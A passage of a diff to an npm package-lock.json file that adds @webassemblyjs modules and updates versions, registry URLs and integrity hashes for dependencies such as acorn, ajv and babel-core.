"https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.5.13.tgz", + "integrity": "sha512-49nwvW/Hx9i+OYHg+mRhKZfAlqThr11Dqz8TsrvqGKMhdI2ijy3KBJOun2Z4770TPjrIJhR6KxChQIDaz8clDA==", + "dev": true, + "requires": { + "@webassemblyjs/helper-module-context": "1.5.13", + "@webassemblyjs/helper-wasm-bytecode": "1.5.13", + "@webassemblyjs/wast-parser": "1.5.13", + "debug": "3.1.0", + "mamacro": "0.0.3" + }, + "dependencies": { + "debug": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", + "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", + "dev": true, + "requires": { + "ms": "2.0.0" + } + } + } + }, + "@webassemblyjs/floating-point-hex-parser": { + "version": "1.5.13", + "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.5.13.tgz", + "integrity": "sha512-vrvvB18Kh4uyghSKb0NTv+2WZx871WL2NzwMj61jcq2bXkyhRC+8Q0oD7JGVf0+5i/fKQYQSBCNMMsDMRVAMqA==", + "dev": true + }, + "@webassemblyjs/helper-api-error": { + "version": "1.5.13", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.5.13.tgz", + "integrity": "sha512-dBh2CWYqjaDlvMmRP/kudxpdh30uXjIbpkLj9HQe+qtYlwvYjPRjdQXrq1cTAAOUSMTtzqbXIxEdEZmyKfcwsg==", + "dev": true + }, + "@webassemblyjs/helper-buffer": { + "version": "1.5.13", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.5.13.tgz", + "integrity": "sha512-v7igWf1mHcpJNbn4m7e77XOAWXCDT76Xe7Is1VQFXc4K5jRcFrl9D0NrqM4XifQ0bXiuTSkTKMYqDxu5MhNljA==", + "dev": true, + "requires": { + "debug": "3.1.0" + }, + "dependencies": { + "debug": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", + "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", + "dev": true, + "requires": { + "ms": "2.0.0" + } + } + } + }, + "@webassemblyjs/helper-code-frame": { + "version": "1.5.13", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-code-frame/-/helper-code-frame-1.5.13.tgz", + "integrity": "sha512-yN6ScQQDFCiAXnVctdVO/J5NQRbwyTbQzsGzEgXsAnrxhjp0xihh+nNHQTMrq5UhOqTb5LykpJAvEv9AT0jnAQ==", + "dev": true, + "requires": { + "@webassemblyjs/wast-printer": "1.5.13" + } + }, + "@webassemblyjs/helper-fsm": { + "version": "1.5.13", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-fsm/-/helper-fsm-1.5.13.tgz", + "integrity": "sha512-hSIKzbXjVMRvy3Jzhgu+vDd/aswJ+UMEnLRCkZDdknZO3Z9e6rp1DAs0tdLItjCFqkz9+0BeOPK/mk3eYvVzZg==", + "dev": true + }, + "@webassemblyjs/helper-module-context": { + "version": "1.5.13", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-module-context/-/helper-module-context-1.5.13.tgz", + "integrity": "sha512-zxJXULGPLB7r+k+wIlvGlXpT4CYppRz8fLUM/xobGHc9Z3T6qlmJD9ySJ2jknuktuuiR9AjnNpKYDECyaiX+QQ==", + "dev": true, + "requires": { + "debug": "3.1.0", + "mamacro": "0.0.3" + }, + "dependencies": { + "debug": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", + "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", + "dev": true, + "requires": { + "ms": "2.0.0" + } + } + } + }, + "@webassemblyjs/helper-wasm-bytecode": { + "version": "1.5.13", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.5.13.tgz", + "integrity": "sha512-0n3SoNGLvbJIZPhtMFq0XmmnA/YmQBXaZKQZcW8maGKwLpVcgjNrxpFZHEOLKjXJYVN5Il8vSfG7nRX50Zn+aw==", + "dev": true + }, + "@webassemblyjs/helper-wasm-section": { + "version": "1.5.13", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.5.13.tgz", + "integrity": "sha512-IJ/goicOZ5TT1axZFSnlAtz4m8KEjYr12BNOANAwGFPKXM4byEDaMNXYowHMG0yKV9a397eU/NlibFaLwr1fbw==", + "dev": true, + "requires": { + "@webassemblyjs/ast": "1.5.13", + "@webassemblyjs/helper-buffer": "1.5.13", + "@webassemblyjs/helper-wasm-bytecode": "1.5.13", + "@webassemblyjs/wasm-gen": "1.5.13", + "debug": "3.1.0" + }, + "dependencies": { + "debug": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", + "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", + "dev": true, + "requires": { + "ms": "2.0.0" + } + } + } + }, + "@webassemblyjs/ieee754": { + "version": "1.5.13", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.5.13.tgz", + "integrity": "sha512-TseswvXEPpG5TCBKoLx9tT7+/GMACjC1ruo09j46ULRZWYm8XHpDWaosOjTnI7kr4SRJFzA6MWoUkAB+YCGKKg==", + "dev": true, + "requires": { + "ieee754": "1.1.12" + } + }, + "@webassemblyjs/leb128": { + "version": "1.5.13", + "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.5.13.tgz", + "integrity": "sha512-0NRMxrL+GG3eISGZBmLBLAVjphbN8Si15s7jzThaw1UE9e5BY1oH49/+MA1xBzxpf1OW5sf9OrPDOclk9wj2yg==", + "dev": true, + "requires": { + "long": "4.0.0" + }, + "dependencies": { + "long": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/long/-/long-4.0.0.tgz", + "integrity": "sha512-XsP+KhQif4bjX1kbuSiySJFNAehNxgLb6hPRGJ9QsUr8ajHkuXGdrHmFUTUUXhDwVX2R5bY4JNZEwbUiMhV+MA==", + "dev": true + } + } + }, + "@webassemblyjs/utf8": { + "version": "1.5.13", + "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.5.13.tgz", + "integrity": "sha512-Ve1ilU2N48Ew0lVGB8FqY7V7hXjaC4+PeZM+vDYxEd+R2iQ0q+Wb3Rw8v0Ri0+rxhoz6gVGsnQNb4FjRiEH/Ng==", + "dev": true + }, + "@webassemblyjs/wasm-edit": { + "version": "1.5.13", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.5.13.tgz", + "integrity": "sha512-X7ZNW4+Hga4f2NmqENnHke2V/mGYK/xnybJSIXImt1ulxbCOEs/A+ZK/Km2jgihjyVxp/0z0hwIcxC6PrkWtgw==", + "dev": true, + "requires": { + "@webassemblyjs/ast": "1.5.13", + "@webassemblyjs/helper-buffer": "1.5.13", + "@webassemblyjs/helper-wasm-bytecode": "1.5.13", + "@webassemblyjs/helper-wasm-section": "1.5.13", + "@webassemblyjs/wasm-gen": "1.5.13", + "@webassemblyjs/wasm-opt": "1.5.13", + "@webassemblyjs/wasm-parser": "1.5.13", + "@webassemblyjs/wast-printer": "1.5.13", + "debug": "3.1.0" + }, + "dependencies": { + "debug": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", + "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", + "dev": true, + "requires": { + "ms": "2.0.0" + } + } + } + }, + "@webassemblyjs/wasm-gen": { + "version": "1.5.13", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.5.13.tgz", + "integrity": "sha512-yfv94Se8R73zmr8GAYzezFHc3lDwE/lBXQddSiIZEKZFuqy7yWtm3KMwA1uGbv5G1WphimJxboXHR80IgX1hQA==", + "dev": true, + "requires": { + "@webassemblyjs/ast": "1.5.13", + "@webassemblyjs/helper-wasm-bytecode": "1.5.13", + "@webassemblyjs/ieee754": "1.5.13", + "@webassemblyjs/leb128": "1.5.13", + "@webassemblyjs/utf8": "1.5.13" + } + }, + "@webassemblyjs/wasm-opt": { + "version": "1.5.13", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.5.13.tgz", + "integrity": "sha512-IkXSkgzVhQ0QYAdIayuCWMmXSYx0dHGU8Ah/AxJf1gBvstMWVnzJnBwLsXLyD87VSBIcsqkmZ28dVb0mOC3oBg==", + "dev": true, + "requires": { + "@webassemblyjs/ast": "1.5.13", + "@webassemblyjs/helper-buffer": "1.5.13", + "@webassemblyjs/wasm-gen": "1.5.13", + "@webassemblyjs/wasm-parser": "1.5.13", + "debug": "3.1.0" + }, + "dependencies": { + "debug": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", + "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", + "dev": true, + "requires": { + "ms": "2.0.0" + } + } + } + }, + "@webassemblyjs/wasm-parser": { + "version": "1.5.13", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.5.13.tgz", + "integrity": "sha512-XnYoIcu2iqq8/LrtmdnN3T+bRjqYFjRHqWbqK3osD/0r/Fcv4d9ecRzjVtC29ENEuNTK4mQ9yyxCBCbK8S/cpg==", + "dev": true, + "requires": { + "@webassemblyjs/ast": "1.5.13", + "@webassemblyjs/helper-api-error": "1.5.13", + "@webassemblyjs/helper-wasm-bytecode": "1.5.13", + "@webassemblyjs/ieee754": "1.5.13", + "@webassemblyjs/leb128": "1.5.13", + "@webassemblyjs/utf8": "1.5.13" + } + }, + "@webassemblyjs/wast-parser": { + "version": "1.5.13", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-parser/-/wast-parser-1.5.13.tgz", + "integrity": "sha512-Lbz65T0LQ1LgzKiUytl34CwuhMNhaCLgrh0JW4rJBN6INnBB8NMwUfQM+FxTnLY9qJ+lHJL/gCM5xYhB9oWi4A==", + "dev": true, + "requires": { + "@webassemblyjs/ast": "1.5.13", + "@webassemblyjs/floating-point-hex-parser": "1.5.13", + "@webassemblyjs/helper-api-error": "1.5.13", + "@webassemblyjs/helper-code-frame": "1.5.13", + "@webassemblyjs/helper-fsm": "1.5.13", + "long": "3.2.0", + "mamacro": "0.0.3" + } + }, + "@webassemblyjs/wast-printer": { + "version": "1.5.13", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.5.13.tgz", + "integrity": "sha512-QcwogrdqcBh8Z+eUF8SG+ag5iwQSXxQJELBEHmLkk790wgQgnIMmntT2sMAMw53GiFNckArf5X0bsCA44j3lWQ==", + "dev": true, + "requires": { + "@webassemblyjs/ast": "1.5.13", + "@webassemblyjs/wast-parser": "1.5.13", + "long": "3.2.0" + } + }, "abbrev": { "version": "1.0.9", "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.0.9.tgz", @@ -10,36 +456,54 @@ "dev": true }, "accepts": { - "version": "1.3.3", - "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.3.tgz", - "integrity": "sha1-w8p0NJOGSMPg2cHjKN1otiLChMo=", + "version": "1.3.5", + "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.5.tgz", + "integrity": "sha1-63d99gEXI6OxTopywIBcjoZ0a9I=", "dev": true, "requires": { - "mime-types": "2.1.16", + "mime-types": "2.1.19", "negotiator": "0.6.1" + }, + "dependencies": { + "mime-db": { + "version": "1.35.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.35.0.tgz", + "integrity": "sha512-JWT/IcCTsB0Io3AhWUMjRqucrHSPsSf2xKLaRldJVULioggvkJvggZ3VXNNSRkCddE6D+BUI4HEIZIA2OjwIvg==", + "dev": true + }, + "mime-types": { + "version": "2.1.19", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.19.tgz", + "integrity": "sha512-P1tKYHVSZ6uFo26mtnve4HQFE3koh1UWVkp8YUC+ESBHe945xWSoXuHHiGarDqcEZ+whpCDnlNw5LON0kLo+sw==", + "dev": true, + "requires": { + "mime-db": "1.35.0" + } + } } }, "acorn": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-5.1.1.tgz", - "integrity": "sha512-vOk6uEMctu0vQrvuSqFdJyqj1Q0S5VTDL79qtjo+DhRr+1mmaD+tluFSCZqhvi/JUhXSzoZN2BhtstaPEeE8cw==", + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-5.7.1.tgz", + "integrity": "sha512-d+nbxBUGKg7Arpsvbnlq61mc12ek3EY8EQldM3GPAhWJ1UVxC6TDGbIvUMNU6obBX3i1+ptCIzV4vq0gFPEGVQ==", "dev": true }, - "acorn-jsx": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-3.0.1.tgz", - "integrity": "sha1-r9+UiPsezvyDSPb7IvRk4ypYs2s=", + "acorn-dynamic-import": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/acorn-dynamic-import/-/acorn-dynamic-import-3.0.0.tgz", + "integrity": "sha512-zVWV8Z8lislJoOKKqdNMOB+s6+XV5WERty8MnKBeFgwA+19XJjJHs2RP5dzM57FftIs+jQnRToLiWazKr6sSWg==", "dev": true, "requires": { - "acorn": "3.3.0" - }, - "dependencies": { - "acorn": { - "version": "3.3.0", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-3.3.0.tgz", - "integrity": "sha1-ReN/s56No/JbruP/U2niu18iAXo=", - "dev": true - } + "acorn": "5.7.1" + } + }, + "acorn-jsx": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-4.1.1.tgz", + "integrity": "sha512-JY+iV6r+cO21KtntVvFkD+iqjtdpRUpGqKWgfkCdZq1R+kbreEl8EcdcJR4SmiIgsIQT33s6QzheQ9a275Q8xw==", + "dev": true, + "requires": { + "acorn": "5.7.1" } }, "active-event-stack": { @@ -65,19 +529,41 @@ "dev": true }, "ajv": { - "version": "4.11.8", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-4.11.8.tgz", - "integrity": "sha1-gv+wKynmYq5TvcIK8VlHcGc5xTY=", + "version": "6.5.2", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.5.2.tgz", + "integrity": "sha512-hOs7GfvI6tUI1LfZddH82ky6mOMyTuY0mk7kE2pWpmhhUSkumzaTO5vbVwij39MdwPQWCV4Zv57Eo06NtL/GVA==", "dev": true, "requires": { - "co": "4.6.0", - "json-stable-stringify": "1.0.1" + "fast-deep-equal": "2.0.1", + "fast-json-stable-stringify": "2.0.0", + "json-schema-traverse": "0.4.1", + "uri-js": "4.2.2" + }, + "dependencies": { + "fast-deep-equal": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-2.0.1.tgz", + "integrity": "sha1-ewUhjd+WZ79/Nwv3/bLLFf3Qqkk=", + "dev": true + }, + "json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", + "dev": true + } } }, + "ajv-errors": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/ajv-errors/-/ajv-errors-1.0.0.tgz", + "integrity": "sha1-7PAh+hCP0X37Xms4Py3SM+Mf/Fk=", + "dev": true + }, "ajv-keywords": { - "version": "1.5.1", - "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-1.5.1.tgz", - "integrity": "sha1-MU3QpLM2j609/NxU7eYXG4htrzw=", + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.2.0.tgz", + "integrity": "sha1-6GuBnGAs+IIa1jdBNpjx3sAhhHo=", "dev": true }, "align-text": { @@ -91,12 +577,6 @@ "repeat-string": "1.6.1" } }, - "alphanum-sort": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/alphanum-sort/-/alphanum-sort-1.0.2.tgz", - "integrity": "sha1-l6ERlkmyEa0zaR2fn0hqjsn74KM=", - "dev": true - }, "amdefine": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/amdefine/-/amdefine-1.0.1.tgz", @@ -104,9 +584,15 @@ "dev": true }, "ansi-escapes": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-1.4.0.tgz", - "integrity": "sha1-06ioOzGapneTZisT52HHkRQiMG4=", + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-3.1.0.tgz", + "integrity": "sha512-UgAb8H9D41AQnu/PbWlCofQVcnV4Gs2bBJi9eZPxfU/hgglFh3SMDMENRIqdr7H6XFnXdoknctFByVsCOotTVw==", + "dev": true + }, + "ansi-html": { + "version": "0.0.7", + "resolved": "https://registry.npmjs.org/ansi-html/-/ansi-html-0.0.7.tgz", + "integrity": "sha1-gTWEAhliqenm/QOflA0S9WynhZ4=", "dev": true }, "ansi-regex": { @@ -126,11 +612,18 @@ "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-1.3.2.tgz", "integrity": "sha512-0XNayC8lTHQ2OI8aljNCN3sSx6hsr/1+rlcDAotXJR7C1oZZHCNsfpbKwMjRA3Uqb5tF1Rae2oloTr4xpq+WjA==", "dev": true, + "optional": true, "requires": { "micromatch": "2.3.11", "normalize-path": "2.1.1" } }, + "aproba": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/aproba/-/aproba-1.2.0.tgz", + "integrity": "sha512-Y9J6ZjXtoYh8RnXVCMOU/ttDmk1aBjunq9vO0ta5x85WDQiQfUF9sIPBITdbiiIVcBo03Hi3jMxigBtsddlXRw==", + "dev": true + }, "argparse": { "version": "1.0.9", "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.9.tgz", @@ -145,6 +638,7 @@ "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-2.0.0.tgz", "integrity": "sha1-jzuCf5Vai9ZpaX5KQlasPOrjVs8=", "dev": true, + "optional": true, "requires": { "arr-flatten": "1.1.0" } @@ -155,6 +649,12 @@ "integrity": "sha1-NgSLv/TntH4TZkQxbJlmnqWukfE=", "dev": true }, + "arr-union": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/arr-union/-/arr-union-3.1.0.tgz", + "integrity": "sha1-45sJrqne+Gao8gbiiK9jkZuuOcQ=", + "dev": true + }, "array-find-index": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/array-find-index/-/array-find-index-1.0.2.tgz", @@ -162,11 +662,21 @@ "dev": true }, "array-flatten": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", - "integrity": "sha1-ml9pkFGx5wczKPKgCJaLZOopVdI=", + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-2.1.1.tgz", + "integrity": "sha1-Qmu52oQJDBg42BLIFQryCoMx4pY=", "dev": true }, + "array-includes": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.0.3.tgz", + "integrity": "sha1-GEtI9i2S10UrsxsyMWXH+L0CJm0=", + "dev": true, + "requires": { + "define-properties": "1.1.3", + "es-abstract": "1.12.0" + } + }, "array-slice": { "version": "0.2.3", "resolved": "https://registry.npmjs.org/array-slice/-/array-slice-0.2.3.tgz", @@ -194,20 +704,10 @@ "integrity": "sha1-odl8yvy8JiXMcPrc6zalDFiwGlM=", "dev": true }, - "array.prototype.find": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/array.prototype.find/-/array.prototype.find-2.0.4.tgz", - "integrity": "sha1-VWpcU2LAhkgyPdrrnenRS8GGTJA=", - "dev": true, - "requires": { - "define-properties": "1.1.2", - "es-abstract": "1.8.0" - } - }, "arraybuffer.slice": { - "version": "0.0.6", - "resolved": "https://registry.npmjs.org/arraybuffer.slice/-/arraybuffer.slice-0.0.6.tgz", - "integrity": "sha1-8zshWfBTKj8xB6JywMz70a0peco=", + "version": "0.0.7", + "resolved": "https://registry.npmjs.org/arraybuffer.slice/-/arraybuffer.slice-0.0.7.tgz", + "integrity": "sha512-wGUIVQXuehL5TCqQun8OW81jGzAWycqzFF8lFp+GOM5BXLYj3bKNsYC4daB7n6XjCqxQA/qgTJ+8ANR3acjrog==", "dev": true }, "arrify": { @@ -227,6 +727,17 @@ "integrity": "sha1-2sh4dxPJlmhJ/IGAd36+nB3fO4Y=", "dev": true }, + "asn1.js": { + "version": "4.10.1", + "resolved": "https://registry.npmjs.org/asn1.js/-/asn1.js-4.10.1.tgz", + "integrity": "sha512-p32cOF5q0Zqs9uBiONKYLm6BClCoBCM5O9JfeUSlnQLBTxYdTK+pW+nXflm8UkKd2UYlEbYz5qEi0JuZR9ckSw==", + "dev": true, + "requires": { + "bn.js": "4.11.8", + "inherits": "2.0.3", + "minimalistic-assert": "1.0.1" + } + }, "assert": { "version": "1.4.1", "resolved": "https://registry.npmjs.org/assert/-/assert-1.4.1.tgz", @@ -234,6 +745,23 @@ "dev": true, "requires": { "util": "0.10.3" + }, + "dependencies": { + "inherits": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.1.tgz", + "integrity": "sha1-sX0I0ya0Qj5Wjv9xn5GwscvfafE=", + "dev": true + }, + "util": { + "version": "0.10.3", + "resolved": "https://registry.npmjs.org/util/-/util-0.10.3.tgz", + "integrity": "sha1-evsa/lCAUkZInj23/g7TeTNqwPk=", + "dev": true, + "requires": { + "inherits": "2.0.1" + } + } } }, "assert-plus": { @@ -243,9 +771,21 @@ "dev": true }, "assertion-error": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-1.0.2.tgz", - "integrity": "sha1-E8pRXYYgbaC6xm6DTdOX2HWBCUw=", + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-1.1.0.tgz", + "integrity": "sha512-jgsaNduz+ndvGyFt3uSuWqvy4lCnIJiovtouQN5JZHOKCS2QuhEdbcQHFhVksz2N2U9hXJo8odG7ETyWlEeuDw==", + "dev": true + }, + "assign-symbols": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/assign-symbols/-/assign-symbols-1.0.0.tgz", + "integrity": "sha1-WWZ/QfrdTyDMvCu5a41Pf3jsA2c=", + "dev": true + }, + "ast-types": { + "version": "0.9.6", + "resolved": "https://registry.npmjs.org/ast-types/-/ast-types-0.9.6.tgz", + "integrity": "sha1-ECyenpAF0+fjgpvwxPok7oYu6bk=", "dev": true }, "async": { @@ -260,25 +800,23 @@ "integrity": "sha1-GdOGodntxufByF04iu28xW0zYC0=", "dev": true }, + "async-limiter": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/async-limiter/-/async-limiter-1.0.0.tgz", + "integrity": "sha512-jp/uFnooOiO+L211eZOoSyzpOITMXx1rBITauYykG3BRYPu8h0UcxsPNB04RR5vo4Tyz3+ay17tR6JVf9qzYWg==", + "dev": true + }, "asynckit": { "version": "0.4.0", "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", "integrity": "sha1-x57Zf380y48robyXkLzDZkdLS3k=", "dev": true }, - "autoprefixer": { - "version": "6.7.7", - "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-6.7.7.tgz", - "integrity": "sha1-Hb0cg1ZY41zj+ZhAmdsAWFx4IBQ=", - "dev": true, - "requires": { - "browserslist": "1.7.7", - "caniuse-db": "1.0.30000715", - "normalize-range": "0.1.2", - "num2fraction": "1.2.2", - "postcss": "5.2.17", - "postcss-value-parser": "3.3.0" - } + "atob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/atob/-/atob-2.1.1.tgz", + "integrity": "sha1-ri1acpR38onWDdf5amMUoi3Wwio=", + "dev": true }, "aws-sign2": { "version": "0.7.0", @@ -292,6 +830,47 @@ "integrity": "sha512-32NDda82rhwD9/JBCCkB+MRYDp0oSvlo2IL6rQWA10PQi7tDUM3eqMSltXmY+Oyl/7N3P3qNtAlv7X0d9bI28w==", "dev": true }, + "babel-cli": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-cli/-/babel-cli-6.26.0.tgz", + "integrity": "sha1-UCq1SHTX24itALiHoGODzgPQAvE=", + "dev": true, + "requires": { + "babel-core": "6.26.3", + "babel-polyfill": "6.26.0", + "babel-register": "6.26.0", + "babel-runtime": "6.26.0", + "chokidar": "1.7.0", + "commander": "2.15.1", + "convert-source-map": "1.5.1", + "fs-readdir-recursive": "1.1.0", + "glob": "7.1.2", + "lodash": "4.17.10", + "output-file-sync": "1.1.2", + "path-is-absolute": "1.0.1", + "slash": "1.0.0", + "source-map": "0.5.6", + "v8flags": "2.1.1" + }, + "dependencies": { + "babel-runtime": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-runtime/-/babel-runtime-6.26.0.tgz", + "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", + "dev": true, + "requires": { + "core-js": "2.5.7", + "regenerator-runtime": "0.11.1" + } + }, + "regenerator-runtime": { + "version": "0.11.1", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.11.1.tgz", + "integrity": "sha512-MguG95oij0fC3QV3URf4V2SDYGJhJnJGqvIIgdECeODCT98wSWDAJ94SSuVpYQUoTcGUIL6L4yNB7j1DFFHSBg==", + "dev": true + } + } + }, "babel-code-frame": { "version": "6.22.0", "resolved": "https://registry.npmjs.org/babel-code-frame/-/babel-code-frame-6.22.0.tgz", @@ -304,13 +883,13 @@ } }, "babel-core": { - "version": "6.26.0", - "resolved": "https://registry.npmjs.org/babel-core/-/babel-core-6.26.0.tgz", - "integrity": "sha1-rzL3izGm/O8RnIew/Y2XU/A6C7g=", + "version": "6.26.3", + "resolved": "https://registry.npmjs.org/babel-core/-/babel-core-6.26.3.tgz", + "integrity": "sha512-6jyFLuDmeidKmUEb3NM+/yawG0M2bDZ9Z1qbZP59cyHLz8kYGKYwpJP0UwUKKUiTRNvxfLesJnTedqczP7cTDA==", "dev": true, "requires": { "babel-code-frame": "6.26.0", - "babel-generator": "6.26.0", + "babel-generator": "6.26.1", "babel-helpers": "6.24.1", "babel-messages": "6.23.0", "babel-register": "6.26.0", @@ -319,15 +898,15 @@ "babel-traverse": "6.26.0", "babel-types": "6.26.0", "babylon": "6.18.0", - "convert-source-map": "1.5.0", - "debug": "2.6.8", + "convert-source-map": "1.5.1", + "debug": "2.6.9", "json5": "0.5.1", - "lodash": "4.17.4", + "lodash": "4.17.10", "minimatch": "3.0.4", "path-is-absolute": "1.0.1", - "private": "0.1.7", + "private": "0.1.8", "slash": "1.0.0", - "source-map": "0.5.6" + "source-map": "0.5.7" }, "dependencies": { "babel-code-frame": { @@ -347,8 +926,8 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "2.5.6", - "regenerator-runtime": "0.11.0" + "core-js": "2.5.7", + "regenerator-runtime": "0.11.1" } }, "babel-template": { @@ -361,7 +940,7 @@ "babel-traverse": "6.26.0", "babel-types": "6.26.0", "babylon": "6.18.0", - "lodash": "4.17.4" + "lodash": "4.17.10" } }, "babel-traverse": { @@ -375,10 +954,10 @@ "babel-runtime": "6.26.0", "babel-types": "6.26.0", "babylon": "6.18.0", - "debug": "2.6.8", + "debug": "2.6.9", "globals": "9.18.0", "invariant": "2.2.2", - "lodash": "4.17.4" + "lodash": "4.17.10" } }, "babel-types": { @@ -389,7 +968,7 @@ "requires": { "babel-runtime": "6.26.0", "esutils": "2.0.2", - "lodash": "4.17.4", + "lodash": "4.17.10", "to-fast-properties": "1.0.3" } }, @@ -399,31 +978,61 @@ "integrity": "sha512-q/UEjfGJ2Cm3oKV71DJz9d25TPnq5rhBVL2Q4fA5wcC3jcrdn7+SssEybFIxwAvvP+YCsCYNKughoF33GxgycQ==", "dev": true }, + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "requires": { + "ms": "2.0.0" + } + }, + "private": { + "version": "0.1.8", + "resolved": "https://registry.npmjs.org/private/-/private-0.1.8.tgz", + "integrity": "sha512-VvivMrbvd2nKkiG38qjULzlc+4Vx4wm/whI9pQD35YrARNnhxeiRktSOhSukRLFNlzg6Br/cJPet5J/u19r/mg==", + "dev": true + }, "regenerator-runtime": { - "version": "0.11.0", - "resolved": 